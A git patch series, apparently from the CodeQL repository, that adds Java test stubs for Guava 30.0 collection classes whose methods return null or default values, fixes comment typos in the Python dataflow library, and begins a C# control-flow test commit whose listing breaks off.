index 00000000000..631d25768fb --- /dev/null +++ b/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableMap.java @@ -0,0 +1,149 @@ +/* + * Copyright (C) 2008 The Guava Authors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.common.collect; + +import java.util.Collection; +import java.util.Comparator; +import java.util.Map; + +public abstract class ImmutableMap<K, V> implements Map<K, V> { + public static <K, V> ImmutableMap<K, V> of() { + return null; + } + + public static <K, V> ImmutableMap<K, V> of(K k1, V v1) { + return null; + } + + public static <K, V> ImmutableMap<K, V> of(K k1, V v1, K k2, V v2) { + return null; + } + + public static <K, V> ImmutableMap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3) { + return null; + } + + public static <K, V> ImmutableMap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4) { + return null; + } + + public static <K, V> ImmutableMap<K, V> of( + K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4, K k5, V v5) { + return null; + } + + public static <K, V> Builder<K, V> builder() { + return null; + } + + public static <K, V> Builder<K, V> builderWithExpectedSize(int expectedSize) { + return null; + } + + public static class Builder<K, V> { + public Builder() { + } + + public Builder<K, V> put(K key, V value) { + return null; + } + + public Builder<K, V> put(Entry<? extends K, ? extends V> entry) { + return null; + } + + public Builder<K, V> putAll(Map<? extends K, ? extends V> map) { + return null; + } + + public Builder<K, V> putAll(Iterable<? extends Entry<? extends K, ? extends V>> entries) { + return null; + } + + public Builder<K, V> orderEntriesByValue(Comparator<? super V> valueComparator) { + return null; + } + + public ImmutableMap<K, V> build() { + return null; + } + + } + public static <K, V> ImmutableMap<K, V> copyOf(Map<? extends K, ? extends V> map) { + return null; + } + + public static <K, V> ImmutableMap<K, V> copyOf( + Iterable<? extends Entry<? extends K, ? extends V>> entries) { + return null; + } + + @Override + public final V put(K k, V v) { + return null; + } + + @Override + public final void putAll(Map<? extends K, ? extends V> map) { + } + + @Override + public final V remove(Object o) { + return null; + } + + @Override + public final void clear() { + } + + @Override + public boolean isEmpty() { + return false; + } + + @Override + public boolean containsKey(Object key) { + return false; + } + + @Override + public boolean containsValue(Object value) { + return false; + } + + @Override + public abstract V get(Object key); + + @Override + public ImmutableSet<Entry<K, V>> entrySet() { + return null; + } + + @Override + public ImmutableSet<K> keySet() { + return null; + } + + @Override + public ImmutableCollection<V> values() { + return null; + } + + // public ImmutableSetMultimap<K, V> asMultimap() { + // return null; + // } +} diff --git a/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableMultimap.java b/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableMultimap.java new file mode 100644 index 00000000000..c1345f72f3f --- /dev/null +++ b/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableMultimap.java @@ -0,0 +1,128 @@ +/* + * Copyright (C) 2008 The Guava Authors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.common.collect; + +import java.util.Collection; +import java.util.Comparator; +import java.util.Map; +import java.util.Map.Entry; + +public abstract class ImmutableMultimap<K, V> extends AbstractMultimap<K, V> { + public static <K, V> ImmutableMultimap<K, V> of() { + return null; + } + + public static <K, V> ImmutableMultimap<K, V> of(K k1, V v1) { + return null; + } + + public static <K, V> ImmutableMultimap<K, V> of(K k1, V v1, K k2, V v2) { + return null; + } + + public static <K, V> ImmutableMultimap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3) { + return null; + } + + public static <K, V> ImmutableMultimap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4) { + return null; + } + + public static <K, V> ImmutableMultimap<K, V> of( + K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4, K k5, V v5) { + return null; + } + + public static <K, V> Builder<K, V> builder() { + return null; + } + + public static class Builder<K, V> { + public Builder() { + } + + public Builder<K, V> put(K key, V value) { + return null; + } + + public Builder<K, V> put(Entry<? extends K, ? extends V> entry) { + return null; + } + + public Builder<K, V> putAll(Iterable<? extends Entry<? extends K, ? extends V>> entries) { + return null; + } + + public Builder<K, V> putAll(K key, Iterable<? extends V> values) { + return null; + } + + public Builder<K, V> putAll(K key, V... values) { + return null; + } + + public Builder<K, V> putAll(Multimap<? extends K, ? extends V> multimap) { + return null; + } + + public Builder<K, V> orderKeysBy(Comparator<? super K> keyComparator) { + return null; + } + + public Builder<K, V> orderValuesBy(Comparator<? super V> valueComparator) { + return null; + } + + public ImmutableMultimap<K, V> build() { + return null; + } + + } + public static <K, V> ImmutableMultimap<K, V> copyOf(Multimap<? extends K, ? extends V> multimap) { + return null; + } + + public static <K, V> ImmutableMultimap<K, V> copyOf( + Iterable<? extends Entry<? extends K, ? extends V>> entries) { + return null; + } + + @Override + public ImmutableCollection<V> removeAll(Object key) { + return null; + } + + @Override + public void clear() { + } + + @Override + public abstract ImmutableCollection<V> get(K key); + + public abstract ImmutableMultimap<V, K> inverse(); + + @Override + public boolean containsKey(Object key) { + return false; + } + + @Override + public int size() { + return 0; + } + +} diff --git a/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableMultiset.java b/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableMultiset.java new file mode 100644 index 00000000000..0fb82a18c80 --- /dev/null +++ b/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableMultiset.java @@ -0,0 +1,125 @@ +/* + * Copyright (C) 2008 The Guava Authors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.common.collect; + +import java.util.Collection; +import java.util.Iterator; + +public abstract class ImmutableMultiset<E> extends ImmutableCollection<E> + implements Multiset<E> { + + public static <E> ImmutableMultiset<E> of() { + return null; + } + + public static <E> ImmutableMultiset<E> of(E element) { + return null; + } + + public static <E> ImmutableMultiset<E> of(E e1, E e2) { + return null; + } + + public static <E> ImmutableMultiset<E> of(E e1, E e2, E e3) { + return null; + } + + public static <E> ImmutableMultiset<E> of(E e1, E e2, E e3, E e4) { + return null; + } + + public static <E> ImmutableMultiset<E> of(E e1, E e2, E e3, E e4, E e5) { + return null; + } + + public static <E> ImmutableMultiset<E> of(E e1, E e2, E e3, E e4, E e5, E e6, E... others) { + return null; + } + + public static <E> ImmutableMultiset<E> copyOf(E[] elements) { + return null; + } + + public static <E> ImmutableMultiset<E> copyOf(Iterable<? extends E> elements) { + return null; + } + + public static <E> ImmutableMultiset<E> copyOf(Iterator<? extends E> elements) { + return null; + } + + @Override + public boolean contains(Object object) { + return false; + } + + @Override + public final int add(E element, int occurrences) { + return 0; + } + + @Override + public final int remove(Object element, int occurrences) { + return 0; + } + + @Override + public final int setCount(E element, int count) { + return 0; + } + + @Override + public final boolean setCount(E element, int oldCount, int newCount) { + return false; + } + + @Override + public abstract ImmutableSet<E> elementSet(); + + @Override + public ImmutableSet<Entry<E>> entrySet() { + return null; + } + + public static <E> Builder<E> builder() { + return null; + } + + public static class Builder<E> extends ImmutableCollection.Builder<E> { + public Builder() { + } + + @Override + public Builder<E> add(E element) { + return null; + } + + public Builder<E> addCopies(E element, int occurrences) { + return null; + } + + public Builder<E> setCount(E element, int count) { + return null; + } + + @Override + public ImmutableMultiset<E> build() { + return null; + } + + } +} diff --git a/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableSet.java b/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableSet.java new file mode 100644 index 00000000000..938b5aedf59 --- /dev/null +++ b/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableSet.java @@ -0,0 +1,86 @@ +/* + * Copyright (C) 2007 The Guava Authors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.common.collect; + +import java.util.Collection; +import java.util.Iterator; +import java.util.Set; + +public abstract class ImmutableSet<E> extends ImmutableCollection<E> implements Set<E> { + public static <E> ImmutableSet<E> of() { + return null; + } + + public static <E> ImmutableSet<E> of(E element) { + return null; + } + + public static <E> ImmutableSet<E> of(E e1, E e2) { + return null; + } + + public static <E> ImmutableSet<E> of(E e1, E e2, E e3) { + return null; + } + + public static <E> ImmutableSet<E> of(E e1, E e2, E e3, E e4) { + return null; + } + + public static <E> ImmutableSet<E> of(E e1, E e2, E e3, E e4, E e5) { + return null; + } + + public static <E> ImmutableSet<E> of(E e1, E e2, E e3, E e4, E e5, E e6, E... others) { + return null; + } + + public static <E> ImmutableSet<E> copyOf(Collection<? extends E> elements) { + return null; + } + + public static <E> ImmutableSet<E> copyOf(Iterable<? extends E> elements) { + return null; + } + + public static <E> ImmutableSet<E> copyOf(Iterator<? extends E> elements) { + return null; + } + + public static <E> ImmutableSet<E> copyOf(E[] elements) { + return null; + } + + ImmutableSet() {} + + public static <E> Builder<E> builder() { + return null; + } + + public static class Builder<E> extends ImmutableCollection.Builder<E> { + public Builder() { + } + + public Builder<E> add(E element) { + return null; + } + + public ImmutableSet<E> build() { + return null; + } + } +} diff --git a/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableSortedMap.java b/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableSortedMap.java new file mode 100644 index 00000000000..dc3bfd49083 --- /dev/null +++ b/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableSortedMap.java @@ -0,0 +1,105 @@ +/* + * Copyright (C) 2009 The Guava Authors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.common.collect; + +import java.util.Comparator; +import java.util.Map; +import java.util.SortedMap; + +public final class ImmutableSortedMap<K, V> extends ImmutableMap<K, V>{ + + public static <K, V> ImmutableSortedMap<K, V> of() { + return null; + } + + public static <K extends Comparable<? super K>, V> ImmutableSortedMap<K, V> of(K k1, V v1) { + return null; + } + + public static <K extends Comparable<? super K>, V> ImmutableSortedMap<K, V> of( + K k1, V v1, K k2, V v2) { + return null; + } + + public static <K extends Comparable<? super K>, V> ImmutableSortedMap<K, V> of( + K k1, V v1, K k2, V v2, K k3, V v3) { + return null; + } + + public static <K extends Comparable<? super K>, V> ImmutableSortedMap<K, V> of( + K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4) { + return null; + } + + public static <K extends Comparable<? super K>, V> ImmutableSortedMap<K, V> of( + K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4, K k5, V v5) { + return null; + } + + public static <K, V> ImmutableSortedMap<K, V> copyOf(Map<? extends K, ? extends V> map) { + return null; + } + + public static <K, V> ImmutableSortedMap<K, V> copyOf( + Map<? extends K, ? extends V> map, Comparator<? super K> comparator) { + return null; + } + + public static <K, V> ImmutableSortedMap<K, V> copyOf( + Iterable<? extends Entry<? extends K, ? extends V>> entries) { + return null; + } + + public static <K, V> ImmutableSortedMap<K, V> copyOf( + Iterable<? extends Entry<? extends K, ? extends V>> entries, + Comparator<? super K> comparator) { + return null; + } + + public static <K, V> ImmutableSortedMap<K, V> copyOfSorted(SortedMap<K, ? extends V> map) { + return null; + } + + @Override + public V get(Object key) { + return null; + } + + @Override + public int size() { + return 0; + } + + public static <K extends Comparable<?>, V> Builder<K, V> naturalOrder() { + return null; + } + + public static <K, V> Builder<K, V> orderedBy(Comparator<K> comparator) { + return null; + } + + public static <K extends Comparable<?>, V> Builder<K, V> reverseOrder() { + return null; + } + + public static class Builder<K, V> extends ImmutableMap.Builder<K, V> { + public Builder(Comparator<? super K> comparator) { + } + + } + +} diff --git a/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableSortedSet.java b/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableSortedSet.java new file mode 100644 index 00000000000..fb22c85b5ef --- /dev/null +++ b/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableSortedSet.java @@ -0,0 +1,111 @@ +/* + * Copyright (C) 2008 The Guava Authors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.common.collect; + +import java.util.Collection; +import java.util.Comparator; +import java.util.Iterator; +import java.util.NavigableSet; +import java.util.SortedSet; + +public abstract class ImmutableSortedSet<E> extends ImmutableSet<E> + implements NavigableSet<E> { + + public static <E> ImmutableSortedSet<E> of() { + return null; + } + + public static <E extends Comparable<? super E>> ImmutableSortedSet<E> of(E element) { + return null; + } + + public static <E extends Comparable<? super E>> ImmutableSortedSet<E> of(E e1, E e2) { + return null; + } + + public static <E extends Comparable<? super E>> ImmutableSortedSet<E> of(E e1, E e2, E e3) { + return null; + } + + public static <E extends Comparable<? super E>> ImmutableSortedSet<E> of(E e1, E e2, E e3, E e4) { + return null; + } + + public static <E extends Comparable<? super E>> ImmutableSortedSet<E> of( + E e1, E e2, E e3, E e4, E e5) { + return null; + } + + public static <E extends Comparable<? super E>> ImmutableSortedSet<E> of( + E e1, E e2, E e3, E e4, E e5, E e6, E... remaining) { + return null; + } + + public static <E extends Comparable<? super E>> ImmutableSortedSet<E> copyOf(E[] elements) { + return null; + } + + public static <E> ImmutableSortedSet<E> copyOf(Iterable<? extends E> elements) { + return null; + } + + public static <E> ImmutableSortedSet<E> copyOf(Collection<? extends E> elements) { + return null; + } + + public static <E> ImmutableSortedSet<E> copyOf(Iterator<? extends E> elements) { + return null; + } + + public static <E> ImmutableSortedSet<E> copyOf( + Comparator<? super E> comparator, Iterator<? extends E> elements) { + return null; + } + + public static <E> ImmutableSortedSet<E> copyOf( + Comparator<? super E> comparator, Iterable<? extends E> elements) { + return null; + } + + public static <E> ImmutableSortedSet<E> copyOf( + Comparator<? super E> comparator, Collection<? extends E> elements) { + return null; + } + + public static <E> ImmutableSortedSet<E> copyOfSorted(SortedSet<E> sortedSet) { + return null; + } + + public static <E> Builder<E> orderedBy(Comparator<E> comparator) { + return null; + } + + public static <E extends Comparable<?>> Builder<E> reverseOrder() { + return null; + } + + public static <E extends Comparable<?>> Builder<E> naturalOrder() { + return null; + } + + public static final class Builder<E> extends ImmutableSet.Builder<E> { + public Builder(Comparator<? super E> comparator) { + } + + } + +} diff --git a/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableTable.java b/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableTable.java new file mode 100644 index 00000000000..73b3907b352 --- /dev/null +++ b/java/ql/test/stubs/guava-30.0/com/google/common/collect/ImmutableTable.java @@ -0,0 +1,124 @@ +/* + * Copyright (C) 2009 The Guava Authors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.common.collect; + +import java.util.Map; + +public abstract class ImmutableTable<R, C, V> extends AbstractTable<R, C, V> { + + public static <R, C, V> ImmutableTable<R, C, V> of() { + return null; + } + + public static <R, C, V> ImmutableTable<R, C, V> of(R rowKey, C columnKey, V value) { + return null; + } + + public static <R, C, V> ImmutableTable<R, C, V> copyOf( + Table<? extends R, ? extends C, ? extends V> table) { + return null; + } + + public static <R, C, V> Builder<R, C, V> builder() { + return null; + } + + public static final class Builder<R, C, V> { + public Builder() {} + + public Builder<R, C, V> put(R rowKey, C columnKey, V value) { + return null; + } + + public Builder<R, C, V> put(Cell<? extends R, ? extends C, ? extends V> cell) { + return null; + } + + public Builder<R, C, V> putAll(Table<? extends R, ? extends C, ? extends V> table) { + return null; + } + + public ImmutableTable<R, C, V> build() { + return null; + } + + } + @Override + public ImmutableSet<Cell<R, C, V>> cellSet() { + return null; + } + + @Override + public ImmutableCollection<V> values() { + return null; + } + + @Override + public ImmutableMap<R, V> column(C columnKey) { + return null; + } + + @Override + public ImmutableSet<C> columnKeySet() { + return null; + } + + @Override + public abstract ImmutableMap<C, Map<R, V>> columnMap(); + + @Override + public ImmutableMap<C, V> row(R rowKey) { + return null; + } + + @Override + public ImmutableSet<R> rowKeySet() { + return null; + } + + @Override + public abstract ImmutableMap<R, Map<C, V>> rowMap(); + + @Override + public boolean contains(Object rowKey, Object columnKey) { + return false; + } + + @Override + public boolean containsValue(Object value) { + return false; + } + + @Override + public final void clear() { + } + + @Override + public final V put(R rowKey, C columnKey, V value) { + return null; + } + + @Override + public final void putAll(Table<? extends R, ? extends C, ? extends V> table) { + } + + @Override + public final V remove(Object rowKey, Object columnKey) { + return null; + } + +} diff --git a/java/ql/test/stubs/guava-30.0/com/google/common/collect/Multimap.java b/java/ql/test/stubs/guava-30.0/com/google/common/collect/Multimap.java new file mode 100644 index 00000000000..80223a450c9 --- /dev/null +++ b/java/ql/test/stubs/guava-30.0/com/google/common/collect/Multimap.java @@ -0,0 +1,65 @@ +/* + * Copyright (C) 2007 The Guava Authors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.common.collect; + + +import java.util.Collection; +import java.util.Map; +import java.util.Map.Entry; +import java.util.Set; +import java.util.function.BiConsumer; + +public interface Multimap<K, V> { + int size(); + + boolean isEmpty(); + + boolean containsKey(Object key); + + boolean containsValue(Object value); + + boolean containsEntry(Object key, Object value); + + boolean put(K key, V value); + + boolean remove(Object key, Object value); + + boolean putAll(K key, Iterable<? extends V> values); + + boolean putAll(Multimap<? extends K, ? extends V> multimap); + + Collection<V> replaceValues(K key, Iterable<? extends V> values); + + Collection<V> removeAll(Object key); + + void clear(); + + Collection<V> get(K key); + + Set<K> keySet(); + + Multiset<K> keys(); + + Collection<V> values(); + + Collection<Entry<K, V>> entries(); + + default void forEach(BiConsumer<? super K, ? super V> action) { + } + + Map<K, Collection<V>> asMap(); +} diff --git a/java/ql/test/stubs/guava-30.0/com/google/common/collect/Multiset.java b/java/ql/test/stubs/guava-30.0/com/google/common/collect/Multiset.java new file mode 100644 index 00000000000..c67f63e79a0 --- /dev/null +++ b/java/ql/test/stubs/guava-30.0/com/google/common/collect/Multiset.java @@ -0,0 +1,49 @@ +/* + * Copyright (C) 2007 The Guava Authors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.common.collect; + + +import java.util.Collection; +import java.util.Set; +import java.util.function.ObjIntConsumer; + +public interface Multiset<E> extends Collection<E> { + int count(Object element); + + int add(E element, int occurrences); + + int remove(Object element, int occurrences); + + int setCount(E element, int count); + + boolean setCount(E element, int oldCount, int newCount); + + Set<E> elementSet(); + + Set<Entry<E>> entrySet(); + + default void forEachEntry(ObjIntConsumer<? super E> action) { + } + + boolean equals(Object object); + + interface Entry<E> { + E getElement(); + + int getCount(); + } +} diff --git a/java/ql/test/stubs/guava-30.0/com/google/common/collect/Sets.java b/java/ql/test/stubs/guava-30.0/com/google/common/collect/Sets.java new file mode 100644 index 00000000000..77d3812f082 --- /dev/null +++ b/java/ql/test/stubs/guava-30.0/com/google/common/collect/Sets.java @@ -0,0 +1,93 @@ +/* + * Copyright (C) 2007 The Guava Authors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.common.collect; + +import java.util.AbstractSet; +import java.util.Collection; +import java.util.HashSet; +import java.util.Iterator; +import java.util.List; +import java.util.NavigableSet; +import java.util.NoSuchElementException; +import java.util.Set; +import java.util.function.Predicate; + +public final class Sets { + private Sets() {} + + public static <E> HashSet<E> newHashSet() { + return null; + } + + public static <E> HashSet<E> newHashSet(E... elements) { + return null; + } + + public static <E> HashSet<E> newHashSet(Iterable<? extends E> elements) { + return null; + } + public abstract static class SetView<E> extends AbstractSet<E> { + private SetView() {} + } + + public static <E> SetView<E> union(final Set<? extends E> set1, final Set<? extends E> set2) { + return null; + } + + public static <E> SetView<E> intersection(final Set<E> set1, final Set<?> set2) { + return null; + } + + public static <E> SetView<E> difference(final Set<E> set1, final Set<?> set2) { + return null; + } + + public static <E> SetView<E> symmetricDifference( + final Set<? extends E> set1, final Set<? extends E> set2) { + return null; + } + + public static <E> Set<E> filter(Set<E> unfiltered, Predicate<? super E> predicate) { + return null; + } + + + public static <B> Set<List<B>> cartesianProduct(List<? extends Set<? extends B>> sets) { + return null; + } + + public static <B> Set<List<B>> cartesianProduct(Set<? extends B>... sets) { + return null; + } + + public static <E> Set<Set<E>> powerSet(Set<E> set) { + return null; + } + + public static <E> Set<Set<E>> combinations(Set<E> set, final int size) { + return null; + } + + public static <E> NavigableSet<E> synchronizedNavigableSet(NavigableSet<E> navigableSet) { + return null; + } + + public static <K extends Comparable<? super K>> NavigableSet<K> subSet( + NavigableSet<K> set, Object range) { + return null; + } +} diff --git a/java/ql/test/stubs/guava-30.0/com/google/common/collect/Table.java b/java/ql/test/stubs/guava-30.0/com/google/common/collect/Table.java new file mode 100644 index 00000000000..d310bd99182 --- /dev/null +++ b/java/ql/test/stubs/guava-30.0/com/google/common/collect/Table.java @@ -0,0 +1,69 @@ +/* + * Copyright (C) 2008 The Guava Authors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.common.collect; + +import java.util.Collection; +import java.util.Map; +import java.util.Set; + +public interface Table<R, C, V> { + boolean contains(Object rowKey, Object columnKey); + + boolean containsRow(Object rowKey); + + boolean containsColumn(Object columnKey); + + boolean containsValue(Object value); + + V get(Object rowKey, Object columnKey); + + boolean isEmpty(); + + int size(); + + void clear(); + + V put(R rowKey, C columnKey, V value); + + void putAll(Table<? extends R, ? extends C, ? extends V> table); + + V remove(Object rowKey, Object columnKey); + + Map<C, V> row(R rowKey); + + Map<R, V> column(C columnKey); + + Set<Cell<R, C, V>> cellSet(); + + Set<R> rowKeySet(); + + Set<C> columnKeySet(); + + Collection<V> values(); + + Map<R, Map<C, V>> rowMap(); + + Map<C, Map<R, V>> columnMap(); + + interface Cell<R, C, V> { + R getRowKey(); + + C getColumnKey(); + + V getValue(); + } +} From 09bb3001d69ecc16f3b2f51bd76a178f8a723e47 Mon Sep 17 00:00:00 2001 From: yoff <lerchedahl@gmail.com> Date: Mon, 25 Jan 2021 21:58:20 +0100 Subject: [PATCH 0813/1241] Apply suggestions from code review Co-authored-by: Taus <tausbn@github.com> --- .../dataflow/new/internal/DataFlowPrivate.qll | 14 +++++++------- .../dataflow/new/internal/DataFlowPublic.qll | 8 +++----- 2 files changed, 10 insertions(+), 12 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 8ab0f65f298..0f587fc0e08 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -1027,7 +1027,7 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { * will need to change type if it should be transferred from the LHS to the RHS. * * Note that (CodeQL modeling of) content does not have to change type on data-flow - * path _inside_ the LHS, as the different allowed syntaxes here are merely a convenience. + * paths _inside_ the LHS, as the different allowed syntaxes here are merely a convenience. * Consequently, we model all LHS sequences as tuples, which have the more precise content * model, making flow to the elements more precise. If an element is a starred varibale, * we will have to mutate the content type to be list content. @@ -1085,8 +1085,8 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { * flow step. * * 3. [Read] Content is read from `TIterableSequence(sequence)` into `TIterableElement(sequence)`. - * As `sequence` is modelled as a tuple, we will not read tuple content as that would allow - * cross talk. + * As `sequence` is modeled as a tuple, we will not read tuple content as that would allow + * crosstalk. * * 4. [Store] Content is stored from `TIterableElement(sequence)` to `sequence`. * Content type is `TupleElementContent` with indices taken from the syntax. @@ -1096,7 +1096,7 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { * 5. [Read] Content is read from `sequence` to its elements. * a) If the element is a plain variable, the target is the corresponding essa node. * - * b) If the element is itelf a sequence, with control-flow node `seq`, the target is `TIterableSequence(seq)`. + * b) If the element is itself a sequence, with control-flow node `seq`, the target is `TIterableSequence(seq)`. * * c) If the element is a starred variable, with control-flow node `v`, the target is `TIterableElement(v)`. * @@ -1191,8 +1191,8 @@ module UnpackingAssignment { /** * Step 3 * Data flows from `TIterableSequence(sequence)` into `TIterableElement(sequence)`. - * As `sequence` is modelled as a tuple, we will not read tuple content as that would allow - * cross talk. + * As `sequence` is modeled as a tuple, we will not read tuple content as that would allow + * crosstalk. */ predicate unpackingAssignmentConvertingReadStep(Node nodeFrom, Content c, Node nodeTo) { exists(UnpackingAssignmentSequenceTarget target | @@ -1229,7 +1229,7 @@ module UnpackingAssignment { * three cases for what `toNode` should be: * a) If the element is a plain variable, `toNode` is the corresponding essa node. * - * b) If the element is itelf a sequence, with control-flow node `seq`, `toNode` is `TIterableSequence(seq)`. + * b) If the element is itself a sequence, with control-flow node `seq`, `toNode` is `TIterableSequence(seq)`. * * c) If the element is a starred variable, with control-flow node `v`, `toNode` is `TIterableElement(v)`. */ diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll index 8bc6b526f80..f5c45e0579a 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll @@ -385,15 +385,13 @@ class IterableSequenceNode extends Node, TIterableSequenceNode { * read step from the list to IterableElement followed by a store step to the tuple. */ class IterableElementNode extends Node, TIterableElementNode { - ControlFlowNode consumer; + CfgNode consumer; - IterableElementNode() { this = TIterableElementNode(consumer) } + IterableElementNode() { this = TIterableElementNode(consumer.getNode()) } override string toString() { result = "IterableElement" } - override DataFlowCallable getEnclosingCallable() { - result = any(CfgNode node | node = TCfgNode(consumer)).getEnclosingCallable() - } + override DataFlowCallable getEnclosingCallable() { result = consumer.getEnclosingCallable() } override Location getLocation() { result = consumer.getLocation() } } From 07a96c35962e51586b74dbcecd43962849fa07ad Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Tue, 26 Jan 2021 08:50:06 +0100 Subject: [PATCH 0814/1241] C#: Add CFG tests for `ExceptionDispatchInfo::Throw` --- .../controlflow/graph/BasicBlock.expected | 92 +- .../controlflow/graph/Condition.expected | 58 +- .../controlflow/graph/Dominance.expected | 876 +++++++++--------- .../graph/EnclosingCallable.expected | 460 ++++----- .../controlflow/graph/EntryElement.expected | 265 +++--- .../controlflow/graph/ExitElement.expected | 327 +++---- .../controlflow/graph/ExitMethods.cs | 10 + .../controlflow/graph/NodeGraph.expected | 342 +++---- .../controlflow/graph/Nodes.expected | 43 +- 9 